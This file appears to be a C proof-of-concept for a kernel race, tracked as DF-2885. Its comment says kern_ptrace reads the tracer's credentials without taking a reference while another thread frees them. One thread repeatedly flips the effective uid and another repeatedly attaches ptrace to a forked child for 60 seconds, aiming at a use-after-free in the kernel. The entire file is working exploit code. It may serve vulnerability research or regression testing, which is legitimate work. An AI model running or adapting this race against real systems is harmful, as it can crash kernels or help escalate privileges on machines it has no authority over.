DF-2885 / df2885_ptracecred.c
/* DF-2885: kern_ptrace reads tracer p_ucred with no crhold while a sibling * thread churns p_ucred (cratom_proc replaces + crfree()s under p_spin). * Best-effort probabilistic race: thread A flips euid (forced cratom), * thread B hammers PT_ATTACH/PT_READ_D on a child. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #include <sys/types.h> #include <sys/ptrace.h> #include <sys/wait.h> #include <signal.h> static volatile int stop; static pid_t target; static void *churn(void *x) { long a = 0, b = 1000; while (!stop) { if (seteuid((a++ % 2) ? b : 0) < 0) perror("seteuid"); } return NULL; } static void *trace(void *x) { long n = 0, ok = 0, err = 0; while (!stop) { if (ptrace(PT_ATTACH, target, NULL, 0) == 0) { ok++; int st; waitpid(target, &st, 0); ptrace(PT_DETACH, target, NULL, 0); } else { err++; } n++; } printf("attach attempts=%ld ok=%ld err=%ld\n", n, ok, err); return NULL; } int main(void) { pthread_t t1, t2; target = fork(); if (target == 0) { for (;;) pause(); } printf("target pid %d, racer uid=%d euid=%d\n", target, getuid(), geteuid()); pthread_create(&t1, NULL, churn, NULL); pthread_create(&t2, NULL, trace, NULL); sleep(60); stop = 1; pthread_join(t1, NULL); pthread_join(t2, NULL); kill(target, SIGKILL); waitpid(target, NULL, 0); printf("race finished without crash; window not hit (expected: tiny)\n"); return 0; } |